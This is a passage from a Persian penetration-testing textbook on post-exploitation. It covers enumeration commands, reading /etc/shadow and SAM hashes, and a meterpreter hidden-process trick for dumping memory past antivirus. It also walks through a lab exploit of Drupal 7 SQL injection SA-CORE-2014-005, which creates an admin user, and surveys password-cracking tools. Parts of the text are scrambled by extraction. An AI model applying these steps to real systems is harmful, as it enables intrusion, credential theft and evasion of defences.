سیستم دچار حمله شد اهداف زیر از جانب مهاجم و یا متخصص تست نفوذ دنبال میشود‪.‬‬ ‫‪ .1‬یک بررسی سریع در محیط که شامل حساب های کاربری‪ ،‬اسامی‪ ،‬تنظیمات و ارتباطات و زیرساخت میشود‬‫‪ .2‬جستوجو‪ ،‬کپی و تغییر در فایلهای سیستم قربانی همچون فایلهایی که مربوط به اطلاعات امنیتی و یا مالی است‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪81‬‬ ‫‪ .3‬ایجاد یک حساب کاربری جدید‬ ‫‪ Vertical escalate .4‬تلاش برای افزایش سطح دسترسی در همان سیستم که به ‪ privilege escalation‬نیز معروف است‪.‬‬ ‫‪ Horizontal escalation .5‬تلاش برای نفوذ به سیستمهای دیگر در بستر شبکه‬ ‫‪ .۶‬تلاش برای نصب درهای پشتی ماندگار و همچنین کانالهای امن برای حفظ ارتباط با سیستم هک شده‬ ‫‪ .1‬پاک کردن نشانهها یا اثر برای قربانی نتواند او را پیگیری کند‪.‬‬‫حال ما ابتدا دستوراتی که باید اجرا شوند تا اطلاعات حساس به دست آیند را بر اساس نوع سیستم هک شده به دو دسته تقسیمبندی‬ ‫میکنیم‬ ‫‪ )1‬سیستم هک شده ویندوز باشد‬ ‫‪ )2‬سیستم هک شده لینوکس باشد‬ ‫‪ 1-4-3‬سیستم هک شده لینوکس باشد‬‫برای مشاهده اطلاعات مربوط به تنظیمات ‪ DSN‬می توان دستور شماره ‪ 12‬را وارد کرد‬‫‪root@linux-server:~ # nano /etc/resolve.conf‬‬ ‫دستور شماره ‪18‬‬‫‪root@linux-server:~ # cat /etc/resolve.conf‬‬ ‫یا‬‫ازآنجاییکه این فایل یک فایل ‪ global‬است و مجوز خواندن برای آن وجود دارد خواندن آن باعث بروز هشدار توسط سیستم تشخیص‬ ‫خطا نمیشود‪ .‬برای مشاهده اطلاعات لاگین افراد و پسورد های هش شده از دستورات شماره ‪ 11‬استفاده می کنیم‬ ‫دستورات شماره ‪19‬‬‫‪root@linux-server:~ # nano /etc/passwd‬‬‫‪root@linux-server:~ # cat /ect /shadow‬‬‫لازم به ذکر است که پسورد های موجود در فایل ‪ shadow‬را می توان توسط برنامههایی همچون ‪ john the ripper‬کرک کرد‪.‬‬ ‫برای مشاهده اطلاعات سیستم نیز از دستور‪ uname‬به همراه سوئیچ های مهم آن همچون ‪ -a‬استفاده می کنیم‪.‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪82‬‬‫‪ifconfig -all‬‬ ‫اطلاعات مربوط به آدرسهای ‪( IP‬دستور شماره ‪)22‬‬‫‪Iptables -l -n‬‬‫‪ps aus‬‬ ‫دستور شماره ‪21‬‬‫‪dpkg -l‬‬ ‫اطلاعات مربوط به قواعد دیواره آتش (دستور شماره ‪)21‬‬ ‫دستور شماره ‪21‬‬ ‫سرویسهای در حال اجرا (دستور شماره ‪)22‬‬ ‫دستور شماره ‪22‬‬ ‫برنامه های نصب شده(دستور شماره ‪)23‬‬ ‫دستور شماره ‪23‬‬‫‪whoami /all‬‬ ‫‪ 2-4-3‬سیستم هک شده ویندوز باشد‬‫‪ipconfig /all‬‬ ‫لیست تمامی کاربران (دستور شماره ‪)24‬‬‫‪ipconfig /displaydns‬‬‫‪net view‬‬ ‫دستور شماره ‪24‬‬‫‪net view /domain‬‬ ‫مشاهده اطلاعات مربوط به شبکه و کاربران شبکه (دستورات شماره ‪)25‬‬ ‫‪Net user /domain‬‬ ‫دستورات شماره ‪25‬‬ ‫مشخص کردن لیست دامینها (دستورشماره ‪)2۶‬‬ ‫دستور شماره ‪26‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪83‬‬‫‪Net accounts‬‬ ‫چاپ سیاستهای پسورد گذاری(دستورشماره ‪)21‬‬‫‪Net account / domain‬‬ ‫دستور شماره ‪27‬‬ ‫(دستورشماره ‪)21‬‬ ‫چاپ سیاستهای پسورد گذاری در دامین(دستورشماره ‪)22‬‬ ‫دستور شماره ‪28‬‬ ‫مشاهده لیست فایلهای به اشتراک گذاشته شده(دستورشماره ‪)21‬‬ ‫دستور شماره ‪29‬‬‫‪Net share‬‬‫در سیستمهای جدیدتر ‪ windows‬از یکزبان اسکریپت نویسی به نام ‪ WMIC‬استفاده میشود که باید دستورات مهمی که در‬‫‪ CMD‬اجرا میشوند و با ‪ wmic‬شروع میشوند را در یک ‪ bat‬فایل نوشت سپس آن را بر روی سیستم قربانی ‪ upload‬کرد و سپس‬ ‫آنها را اجرا کرد و درنهایت خروجی را دانلود کرد‪.‬‬ ‫از دیگر روش ها استفاده از ‪ powershell‬است که در آن میتوان دستورات مهمی را اجرا کرد‪.‬‬ ‫‪ 3-4-3‬پیدا کردن اطلاعات حساس و دریافت آنها‬‫در بخش قبل ما تنظیمات سیستم را مشاهده کردیم و توانستیم اطلاعات زیادی را به دست آوریم‪ .‬حال در این بخش نیاز است تا‬ ‫اطلاعاتی را که برای هدف مهم هستند را کشف و دانلود کنیم‪.‬‬ ‫در یک سری از فایلها در لینوکس یا ویندوز اطلاعات مهمی وجود دارد که عبارت است از‬ ‫در لینوکس‬ ‫‪ )1‬اکثر فایلهای مربوط به تنظیمات در پوشه ‪ /etc‬است که باید فایلهای مهم موجود در آن دانلود شوند‬ ‫‪ )2‬گاهی پوشه ‪ /user/local/etc‬نیز حاوی اطلاعات مهمی است‬‫‪ )3‬پوشههایی که حاوی پسوردها هستند نیز مهم است که در ‪ /etc‬و ‪ /etc/password‬و ‪ /etc/shadow‬قرار دارند‬ ‫‪ )4‬فایلهای مربوط به تنظیمات و همچنین کلید عمومی و خصوصی ‪ SSH‬که در ‪ /ect/ssh‬واقعشده است‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪84‬‬‫‪ )5‬حلقه کلیدهای خصوصی که در پوشه ‪ gnupg‬واقعشده است‬ ‫در ویندوز‬ ‫‪ )1‬بررسی حافظه ‪ memory‬یا همان ‪ system memory‬که برای گرفتن پسوردها مناسب است‬ ‫‪ )2‬فایلهای مربوط به ‪registry‬‬ ‫‪ )3‬فایلهای ‪ security account memory‬یا همان ‪ SAM‬که حاوی پسوردها ی هش شده است که در مسیر‬‫‪%SYSTEMROOT%\repair \SAM‬‬ ‫و یا در‬‫‪% SYSTEMROOT%\system32\config\Regback\SAM‬‬ ‫واقع شده است‬ ‫‪ )4‬ایمیلها و فایلها دادهای‬ ‫‪ )5‬بررسی مسیر زیر‬‫‪User\username account\Appdata\Local\Microsoft\windows\Temporary internet files‬‬ ‫نیز ممکن است حاوی اطلاعات مهمی باشد‬‫در سیستم نفوذ شده اولین اولویت بیرون کشاندن اطلاعات حافظه سیستم یا ‪ system memory‬است که در زیر روشهای این کار‬ ‫بررسیشدهاند‬‫‪ .1‬استفاده از نرم ‪ Belkasoft RAM Capture‬که البته نسخه ‪ command line‬نیست‪ .‬پس از اجرای این برنامه یک فایل با‬‫پسوند ‪ .mem‬خواهیم داشت‪ .‬حال با استفاده از برنامه ‪ Belkasoft Evidence center‬که برای خواندن فایلهای ‪.mem‬‬ ‫است استفاده میکنیم‬‫‪ .2‬از دیگر ابزارها برای ‪ Dump‬کردن ‪ memory‬یا همان حافظه ‪ RAM‬استفاده از برنامه ‪moon sols dumpit goes‬‬ ‫‪ mainstream‬است‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪85‬‬ ‫‪ .3‬برای تحلیل فایلهایی که از مموری گرفتهشده است‪ ،‬میتوان از ابزار ‪ volatility‬که در بخش ‪ forensics menu‬وجود‬ ‫دارد استفاده کرد که به تحلیل فایلهایی با پسوند ‪ .vmem‬یا ‪ mem‬میپردازد‪.‬‬ ‫‪ .4‬اکثر این برنامهها اگر اجرا شوند آنتیویروسها آنها را بهعنوان یک نوع حمله بهقصد فاشسازی اطلاعات کشف میکنند‪.‬‬ ‫یعنی اگر بخواهیم یک برنامه ‪ Dump memory‬را اجرا کنیم جلوی این کار گرفته خواهد شد‪ .‬بهمنظور جلوگیری از بروز‬ ‫این مشکل میتوان از دستور شماره ‪ 32‬در محیط ‪ meterpreter‬استفاده کرد‬ ‫دستور شماره ‪31‬‬ ‫ایجاد یک پروسه ‪hidden‬‬ ‫>‪meterpreter > execute -H -m -d calc.exe -f <memory executable + parameters‬‬ ‫این کار باعث میشود که ‪ calc.exe‬بهعنوان یک ‪ dummy‬ساختگی اجرا شود اما برنامه ‪ dump memory‬در پروسه خودش‬ ‫بهصورت پنهانی اجرا شود و حتی پروسه اجرای ‪ dump memory‬در ‪ task manager‬هم دیده نخواهد شد و برای پیگیری این‬ ‫نوع حمله نیاز به تکنیکهای ‪ forensic‬است و علت اصلی این امر این است که پروسه بر روی ‪ disk‬اجرا نمیشود و بر روی ‪memory‬‬ ‫اجرا میشود و اکثر آنتیویروسها ‪ memory‬را اسکن نمیکنند‪.‬‬ ‫بهمحض اینکه ‪ memory‬بر روی سیستم مهاجم دانلود شد و فایل خود برنامه پاک گشت میتوان از مجموعه ابزارهای ‪volatility‬‬ ‫که اسکریپتهای پایتون هستند بهمنظور آنالیز این فایل استفاده کرد‪.‬‬ ‫اطلاعاتی که میتواند از این ‪ memory‬توسط ‪ volatility‬استخراج شود عبارت است از‪:‬‬ ‫‪ )1‬پروسههای در حال اجرا‪ -‬سوکتها‪ loads DLL -‬ها‪connection -‬ها و ‪...‬‬ ‫‪ )2‬هشها ‪ LM/NTLM‬و ‪LSA‬ها که توضیحات این پسوردها عبارت است از‬ ‫‪ LANMAN :LM‬متد اولیه ‪ Microsoft‬برای هش کردن پسوردهای مربوط به ‪ login‬که بعداً بهراحتی شکسته شد و نیاز به یک متد‬ ‫بهتر احساس شد‪.‬‬ ‫‪ NT LANMAN :NTLM‬یک متد بهجای ‪ LANMAN‬است که در قبال حملات مقاومت خیلی بیشتری از خود نشان میدهد‪.‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪86‬‬‫‪ local security authority :LSA‬ذخیره کننده کلیدهای محلی مانند پسوردهای اتصال به شبکه کابلی و غیر کابلی‪،VPN ،‬‬‫پسوردهایی که قبلاً زدهشده و برای ‪ login‬بعدی بهصورت خودکار از آنها استفاده میشود و به نام ‪ auto login password‬شناخته‬ ‫میشود‪.‬‬‫حال فرض کنید فایل ‪ .mem‬یا ‪ .vmem‬را در اختیارداریم و میخواهیم از آن در ‪ kali‬اطلاعاتی را به دست بیاوریم‪ .‬میتوان در ابتدا‬‫برای مشخص کردن نوع ‪ img‬و ‪ os‬از دستور شماره ‪ 31‬استفاده کنیم‪( .‬به فرض نام فایل ‪ xxx.mem‬است)‬ ‫دستور شماره ‪31‬‬‫‪root@linux-server:~ # python vol.py imageinfo -f xxx.mem‬‬‫برای آشکارسازی اطلاعات مربوط به ‪ hives‬میتوان از پلاگین ‪ hivelist‬استفاده کرد(مطابق دستور شماره ‪)32‬‬ ‫دستور شماره ‪32‬‬‫‪root@linux-server:~ # python vol.py -f xxx.mem‬‬ ‫‪ 5-3‬یک نمونه عملی خطرناک ‪exploit‬‬‫فرض کنید یکی از تست هایی که بایستی در مراحل قبل انجام میدادیم بررسی این بود که آیا درگاه های تحت وب تارگت های ما‬‫از پلت فرم های مدیریت محتوای وب یا ‪ CMS‬استفاده می کنند یا خیر و اگر استفاده می کنند از چه نسخه ای است‪ .‬ابتدا بایستی‬‫از ابزار های متن بازی که این این نوع اسکن را انجام می دهند استفاده کرد‪ .‬ما از ابزاری به نام ‪ CMSmap‬استفاده می کنیم‪ .‬بعد‬ ‫از نصب اهدافمان را اسکن کرده سپس با توجه به اطلاعات بدست آمده بدنبال روشهای نفوذ خواهیم گشت‪.‬‬‫با استفاده از دستورات شماره ‪ 32‬برنامه فوق را نصب و اجراء می کنیم‬ ‫دستورات شماره ‪32‬‬‫‪root@kali~# git clone https://github.com/Dionach/CMSmap.git‬‬‫‪root@kali~# cd CMSmap‬‬‫‪root@kali~# cd CMSmap-master/‬‬‫‪root@kali~# chmod +x cmsmap.py‬‬‫‪CMSmap tool v0.6 - Simple CMS Scanner‬‬‫‪Author: Mike Manzotti [email protected]‬‬‫>‪Usage: cmsmap.py -t <URL‬‬‫‪Targets:‬‬ ‫)'‪-t, --target target URL (e.g. 'https://example.com:8080/‬‬ ‫‪-f, --force force scan (W)ordpress, (J)oomla or (D)rupal‬‬ ‫!‪-F, --fullscan full scan using large plugin lists. False positives and slow‬‬ ‫‪-a, --agent set custom user-agent‬‬ ‫)‪-T, --threads number of threads (Default: 5‬‬‫‪…….‬‬

87 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬‫ بدین منظور از دستور‬.‫ را اسکن کنیم‬http://127.0.0.1/tic ‫فرض کنید در محیط آزمایشگاه قصد داریم تا وب سایت با آدرس‬‫ مشابه همین کار را با رضایت مندی صاحبین منابع اصلی دیجیتال در یک پروژه تست نفوذ می توان‬.‫ استفاده می کنیم‬33 ‫شماره‬‫بروی دامنه های اصلی انجام داد اما از آنجایی که در این پروژه همانطور که از قبل بیان شده است چنین قراردادی وجود ندارد ما‬ .‫اجازه چنین اسکنی را نخواهیم داشت‬ 33 ‫دستور شماره‬root@kali~# ./cmsmap.py -t http://192.168.1.106/tic ‫ مرتبط با اجرای دستور بالا هستند‬34 ‫نتایج شماره‬ 34 ‫نتایج شماره‬[-] Date & Time: 24/05/2016 02:40:54[-] Target: http://192.168.1.106/tic[M] Website Not in HTTPS: http://192.168.1.106/tic[I] Server: Apache/2.4.9 (Win64) PHP/5.5.12[I] X-Powered-By: PHP/5.5.12[L] X-Generator: Drupal 7 (http://drupal.org)[I] X-Content-Type-Options: Not Enforced[L] Robots.txt Found: http://192.168.1.106/tic/robots.txt[I] CMS Detection: Drupal[I] Drupal Version: 7.22[H] Drupal Vulnerable to SA-CORE-2014-005[I] Drupal Theme: bartik]-[Enumerating Drupal Usernames via \"Views\" Module...[I] Autocomplete Off Not Found: http://192.168.1.106/tic/?q=user]-[Drupal Default Files:[I] http://192.168.1.106/tic/README.txt[I] http://192.168.1.106/tic/INSTALL.mysql.txt[I] http://192.168.1.106/tic/MAINTAINERS.txt[I] http://192.168.1.106/tic/profiles/standard/translations/README.txt[I] http://192.168.1.106/tic/profiles/minimal/translations/README.txt[I] http://192.168.1.106/tic/INSTALL.pgsql.txt[I] http://192.168.1.106/tic/UPGRADE.txt

88 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬ 34 ‫ادامه نتایج شماره‬ [I] http://192.168.1.106/tic/CHANGELOG.txt [I] http://192.168.1.106/tic/INSTALL.sqlite.txt [I] http://192.168.1.106/tic/LICENSE.txt [I] http://192.168.1.106/tic/INSTALL.txt [I] http://192.168.1.106/tic/COPYRIGHT.txt [I] http://192.168.1.106/tic/web.config [I] http://192.168.1.106/tic/modules/README.txt [I] http://192.168.1.106/tic/modules/simpletest/files/README.txt [I] http://192.168.1.106/tic/modules/simpletest/files/javascript-1.txt [I] http://192.168.1.106/tic/modules/simpletest/files/php-1.txt [I] http://192.168.1.106/tic/modules/simpletest/files/sql-1.txt [I] http://192.168.1.106/tic/modules/simpletest/files/html-1.txt [I] http://192.168.1.106/tic/modules/simpletest/tests/common_test_info.txt [I] http://192.168.1.106/tic/modules/filter/tests/filter.url-output.txt [I] http://192.168.1.106/tic/modules/filter/tests/filter.url-input.txt [I] Forgotten Password Allows Username Enumeration: http://192.168.1.106/tic/?q=user/password [-] Search Drupal Modules ... [I] comment [I] content [I] field [I] node [I] search [I] system [I] user [I] image [I] Checking for Directory Listing Enabled ... [-] Date & Time: 24/05/2016 02:44:38 [-] Completed in: 0:03:44‫ است که نسخه قدیمی نیست زیرا‬7.22 ‫همانطوری که مشاهده می کنید این سایت از دروپال استفاده می کنید و نسخه آن‬‫ استفاده کرده و اطلاعات‬35‫ حال بر اساس این اطلاعات ما می توانیم از لیست شماره‬.‫ است‬2 ‫جدیدترین نسخه دروپال نسخه شماره‬ .‫ می باشد‬drupal 7 ‫ عبارت کلیدی برای جستجو‬.‫لازم برای نفوذ و یا آسیب به درگاه فوق را بدست بیاوریم‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪89‬‬ ‫‪ 1-5-3‬پیدا کردن آسیب پذیری‬‫ما از دو سایت لیست شماره ‪ 35‬برای پیدا کردن آسیب پذیری استفاده می کنیم‪.‬‬‫‪https://www.exploit-db.com/‬‬ ‫لیست شماره ‪35‬‬‫‪http://www.securityfocus.com/vulnerabilities‬‬‫ابتدا به آدرس ‪ https://www.exploit-db.com/search‬رفته سپس در بخش جستجو عبارت ‪ drupal 7‬را وارد می کنیم‪.‬‬ ‫مطابق با شکل شماره‪3۶‬‬ ‫شکل شماره ‪36‬‬‫همانطوری که در شکل مشاهده می کنید برای نسخه هایی قدیمیتر از ‪ 7.32‬کد برای اکسپلویت کردن وجود دارد‪ .‬حال ما کد با‬ ‫تاریخ انتشار ‪ Published: 2014-10-16‬را انتخاب می کنیم‪ .‬مطابق با شکل شماره ‪31‬‬ ‫شکل شماره ‪37‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪90‬‬‫همانطوری که در شکل مشاهده می کنید کد نوشته شده به زبان پایتون است و بایستی این کد در کالی لینوکس کامپایل شود‪.‬‬‫همواره و قبل از هر گونه نصبی بایستی ابتدا پیش نیاز های کد را که برای کامپایل شدن به آن احتیاج دارد را در سیستم عامل کالی‬‫لینوکس نصب کنیم‪ .‬معمولا این دستور العمل ها در بخش توضیحات کد که در ابتدای آن وجود دارد مشخص می شوند‪ .‬در این‬‫مثال نیاز است تا از ‪ git‬کد مربوط به تولید پسوردهای هش شده توسط متد هش گذاری دروپال را دانلود کنیم‪ .‬در این حمله بدون‬‫اینکه نیاز به طی کردن فرآیند ثبت نام باشد میتواند کاربر در سایت ایجاد کرد و این یعنی شکستت دیتا بیس سایت بعد مدت‬ ‫کوتاهی‪( .‬متاسفانه این مشکل در یکی از تارگت های اصلی ما وجود دارد و علت مطرح کردن این حمله این بوده است‪).‬‬ ‫برای نصب کد پیش نیاز برنامه دستورات شماره ‪ 32‬را اجراء می کنیم‬‫‪root@kali~# wget https://raw.githubusercontent.com/cvangysel/gitexd-drupalorg/master/drupalorg/drupalpass.py‬‬‫‪root@kali~# mv drupalpass.py /usr/lib/python2.7/‬‬ ‫دستورات شماره ‪38‬‬ ‫حال کد را در یک فایل با پسوند ‪ py‬کپی کرده و همانند دستورات شماره ‪ 31‬به تارگت حمله می کنیم‬ ‫دستورات شماره ‪39‬‬‫‪root@kali~# nano attackdrupal.py‬‬‫کپی کد در این فایل‬‫‪#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005‬‬‫‪#Creditz to https://www.reddit.com/user/fyukyuk‬‬‫‪import urllib2,sys‬‬‫‪from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py‬‬‫]‪host = sys.argv[1‬‬‫]‪user = sys.argv[2‬‬‫]‪password = sys.argv[3‬‬‫………‬‫‪root@kali~# python attackdrupal.py http://192.168.1.106/tic/admin2%123%@dmin‬‬ ‫حال با اجرای دستور بالا یک کاربر جدید بدون طی کردن پروسه احراز هویت ایجاد می شود‬‫در صورت نبود ‪ waf‬و یا کانفیگ نادرست آن میتوان حمله فوق را در یک ‪ loop‬انجام داد و این حمله بی شک باعث کرش شدن دیتابیس تارگت‬ ‫خواهد شد‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪91‬‬ ‫فصل چهار‬ ‫حملات سایبری به تدابیر امنیتی مبتنی بر دانش رمزنگاری‬ ‫در این فصل مباحثی بیان خواهند شده که مربوط به شکست سیستم های رمزنگاری است‪ .‬روشهایی که در آنها‬ ‫از اطلاعاتی که نبایستی در اختیار عموم قرار گیرد محافظت می شود‪.‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪92‬‬ ‫‪ 4‬حملات سایبری به تدابیر امنیتی مبتنی بر دانش رمزنگاری‬ ‫امروزه نام های کاربری به همراه پسورد به طور وسیعی برای احراز هویت کاربران استفاده می شوند‪ .‬این سیستم می تواند در یک‬ ‫رایانه‪ ،‬در یک سیستم بانکی‪ ATM ،‬ها و یا هر نوع منابع دیجیتال دیگری استفاده شود‪ .‬برخی از پسورد ها را می توان به راحتی‬ ‫کرک کرد اما برخی به علت رعایت قوانین پسورد گذاری توسط صاحب آن خیر‪ .‬در این حالت متخصص و یا مشاور امنیت می بایست‬ ‫از تکنیک ها و منابع لازم استفاده کند تا بتواند این پسورد ها را نیز کرک کند‪ .‬او ممکن است از سیستم های محاسباتی قدرتمندی‬ ‫چون بات نت ها‪ASIC ،GPU ،11‬و‪ ....‬برای کرک کردن استفاده کند‪ .‬گاهی نیز می توان بدون نیاز به بدست آوردن پسورد که‬ ‫برای دسترسی به منابعی که توسط سیستم های احراز هویت محافظت می شوند به این منابع با ارزش دسترسی پیدا کرد‪ .‬معمولا‬ ‫در این حملات هدف سوء استفاده از مکانیزم های احراز هویت متوالی بعد از احراز هویت اصلی که با پسورد است می باشد‪ .‬اهدافی‬ ‫چون کوکی ها‪ ،‬مشخصه یک نشست‪ ،‬بلیط کربروس و غیره از این دست می باشند‪ .‬ممکن است این حملات ساده تر از کرک کردن‬ ‫یک پسورد قدرتمند باشد‪ .‬در این فصل ما با مفاهیم‪ ،‬تکنیک ها و ابزار قدرتمند کالی لینوکس که میزان موفقیت ما را در شکستن‬ ‫پسورد های طولاتی خیلی و خیلی بیشتر می کنند آشنا خواهیم شد‪ .‬ابتدا به بیان مفاهیم اصلی در این نوع حملات خواهیم پرداخت‪.‬‬ ‫‪ 1-4‬مفاهیم اصلی در حملات‬ ‫‪ 1-1-4‬ذخیره سازی پسوردها‬ ‫به طور معمول پسورد ها به صورت متن ساده در دیتابیس های متعلق به برنامه ذخیره نمی شوند بلکه به صورت هش ذخیره می‬ ‫شوند و الگوریتم هایی نظیر ‪ MD5‬و ‪ SHA1‬برای این کار استفاده می شود‪ .‬در سیستم عامل ویندوز پسورد ها در فایلی به نام‬ ‫‪ SAM‬ذخیره می شوند در حالی که در لینوکس در فایل ‪ ./etc/shadow‬این فایل ها تنها توسط افراد و یا برنامه هایی که‬ ‫سطح دسترسی آنها ‪ root/sysadmin‬است قابل دسترسی هستد‪ .‬در هر دو حالت با استفاده از فایل ها و یا سرویس هایی که‬ ‫‪11 botnet‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪93‬‬ ‫سطح دسترسی آنها ‪ root/sysadmin‬است می توان این پسورد ها هش شده را بدست آورد‪ ،‬مانند حمله ‪DLL Injection‬‬ ‫که با سوءاستفاده از فایل ‪ samdump‬است انجام می گیرد‪.‬‬ ‫‪ 2-1-4‬انواع حملات‬ ‫‪Dictionary 1-2-1-4‬‬ ‫حمله دیکشنری ساده ترین و در عین حال سریعترین حمله برای شکستن پسورد ها است‪ .‬در این حمله از یک فایل که حاوی لغات‬ ‫معنا داری می باشد استفاده می شود و هر کدام از آنها را به عنوان پسورد امتحان می کنند‪ .‬معمولا در شکستن پسورد ها این نوع‬ ‫حمله جزء نخستین تست ها است‪.‬‬ ‫‪Rainbow Table2-2-1-4‬‬ ‫همانطور که بیان شد امروزه اکثر سیستم ها از هش ها استفاده می کنند‪ ،‬به این معنا که حتی اگر ما بتوانیم به فایل و یا مکانی که‬ ‫پسورد ها در آن ذخیره می شوند هم دسترسی پیدا کنیم همچنان بایستی هش آنها کرک شود‪ .‬یکی از روش های کارا در شکستن‬ ‫هش این است که مقدار هش را با مقدار هش مقادیر یک فایل دیکشنری مقایسه کرد و هر زمان که مقدار هش بدست آورده شده با‬ ‫آنی که در فایل ذخیره شده است یکسان بود یعنی هش پسورد کرک شده است‪ .‬در این نوع حمله قدرت ‪ CPU‬نقش اساسی در‬ ‫موفقیت آن دارد‪.‬‬ ‫‪Hybrid 3-2-1-4‬‬ ‫این حمله ترکیب کلمات فایل دیکشنری با یک سری کاراکترهای خاص مانند اعداد و یا نماد ها است‪ .‬در بیشتر اوقات در این نوع‬ ‫حمله به ابتدا و انتهای کلمه موجود در دیکشنری اعداد را اضافه می کنند و یا بعضی کاراکتراهای آن را باکارکتراهای دیگری عوض‬ ‫می کنند‪ .‬مثلا ‪ password‬را با ‪ p@$$w0rd123‬عوض می کنند‪.‬‬ ‫‪Brute Force4-2-1-4‬‬ ‫این حمله به لحاظ زمانی بسیار طولانیست چرا که در آن به جای بررسی یک سری از حالت های ممکن برای پسورد که همان حمله‬ ‫دیکشنری است بایستی تمامی حالات آن بررسی شوند‪ .‬با در اختیار داشتن منابع محاسباتی قدرتمند احتمال موفقیت این حمله‬ ‫بسیار بالاست‪.‬‬ ‫‪ 3-1-4‬پسوردهایی که بطور معمول استفاده می شوند‬ ‫بر خلاف آنکه ما متصور هستیم که پسوردهای ما منحصر به فرد هستند‪ ،‬ما به شما نشان خواهیم داد که این طرز فکر غلط است و‬ ‫الگوهایی وجود دارد که خیلی از افراد از آنها پیروی می کنند و در نتیجه پسوردشان با یکدیگر یکسان است‪.‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪94‬‬ ‫‪ 4-1-4‬استراتژی شکستن پسورد ها‬ ‫در بیشتر اوقات ما از نتایج حمله به قصد شکستن پسورد ها ناراضی هستیم‪ .‬زمانی که تنها یک پسورد لیست و یک برنامه حمله را‬ ‫انتخاب کرده ایم‪ .‬اما متخصصین کرک پسورد دارای یک استراتژی ویژه برای این نوع از حملات هستند‪.‬آنها انتظار ندارند که بتوانند‬ ‫تمامی پسورد ها را کرک کنند اما با یک استراژی مناسب‪ ،‬آنها می توانند اکثر پسورد ها را در زمان کوتاهی کرک کنند‪ .‬کلید این‬ ‫مسئله این است‬ ‫تکرار متعدد‪ ،‬بررسی از ساده ترین حالت پسورد ها در تکرار اول تا بررسی پسوردها پیچیده با استفاده از تکنیک ها‬ ‫ی مختلف در هر مرحله‪.‬‬ ‫‪ 5-1-4‬نرم افزار های محبوب در شکستن پسورد ها‬ ‫‪John 1-5-1-4‬‬ ‫به جرات می توان گفت که برنامه ‪ john‬یکی از برنامه های قدرتمند و سریع در شکستن پسوردها است که فقط برای سیستم عامل‬ ‫کالی لینوکس طراحی شده است و از طریق ترمینال قابل دسترسی است و فاقد واسط گرافیکی است و این مسئله کار با این برنامه‬ ‫را کمی چالش برانگیز کرده است‪ .‬یکی از موضوعاتی که این نرم افزار را محبوب کرده است این است که دارای استراتژی خاص خود‬ ‫نسبت به تولید پسورد های پیش فرض در حین کرک کردن است‪ .‬این استراتژی به صورت زیر است‬ ‫‪ ‬ابتدا برنامه تلاش می کند از حمله دیکشنری برای حمله استفاده کند‬ ‫‪ ‬اگر در مرحله قبل به موفقیت نرسد این بار با ترکیب کلمات دیکشنری با یکدیگر حمله را آغاز می کند‬ ‫‪ ‬در صورت شکست در مرحله قبل‪ ،‬این با از حمله ‪ Hybrid‬استفاده می کند‬ ‫‪ ‬در صورت شکست تمامی مراحل بالا از حمله ‪ Brute Force‬استفاده خواهد کرد‪ .‬در شکل شماره ‪ 1‬محیط این برنامه‬ ‫در سیستم عامل کالی لینوکس نشان داده شده است‬ ‫شکل شماره ‪1‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪95‬‬ ‫‪Ophcrack 2-5-1-4‬‬ ‫این برنامه رایگان بر اساس شکستن پسورد های هش با تکنیک ‪ rainbow table-based‬برای نفوذ به سیستم عامل ویندوز‬ ‫طراحی شده است‪ .‬این برنامه در میان برنامه های محبوب کرک کردن پسورد ویندوز که بدون تردید مهمترین آنها برنامه ‪cain‬‬ ‫‪ and abel‬است‪ ،‬این قابلیت را دارد که در سیستم عامل های کالی لینوکس و مک بوک نیز استفاده شود‪ .‬این برنامه برای کرک‬ ‫کردن پسورد های هش شده ‪ LM‬و ‪12 NTLM‬ویندوز است‪ .‬این برنامه برای حمله به سیستم عامل های ‪،Windows XP‬‬ ‫‪ Vista‬و ‪ Windows 7‬به تبع آن ‪ Windows Server 2003‬و ‪ 2008‬استفاده می شود‪ .‬برای دانلود این برنامه می‬ ‫توان از لینک زیر استفاده کرد‬ ‫‪http://ophcrack.sourceforge.net‬‬ ‫برای دانلود جدول های ‪ rainbow‬نیز می توان از طریق لینک زیر اقدام کرد‬ ‫‪http://ophcrack.sourceforge.net/tables.php‬‬ ‫در شکل شماره ‪ 2‬محیط کاری این برنامه نشان داده شده است‪.‬‬ ‫‪L0phtCrack 3-5-1-4‬‬ ‫این برنامه به نوعی نسخه حرفه ای تر برنامه قبلی است چراکه مستقیما فایل ‪ SAM‬و ‪ Active Directory‬را هدف قرار می‬ ‫دهد‪ .‬این برنامه همچنین برای حملات ‪ Dictionary‬و ‪ Brute Force‬استفاده می شود‪ .‬برای دانلود این برنامه می توان از‬ ‫لینک زیر استفاده کرد‬ ‫‪http://www.l0phtcrack.com/download.html‬‬ ‫در شکل شماره ‪ 3‬محیط کاری این برنامه نشان داده شده است‪.‬‬ ‫‪ 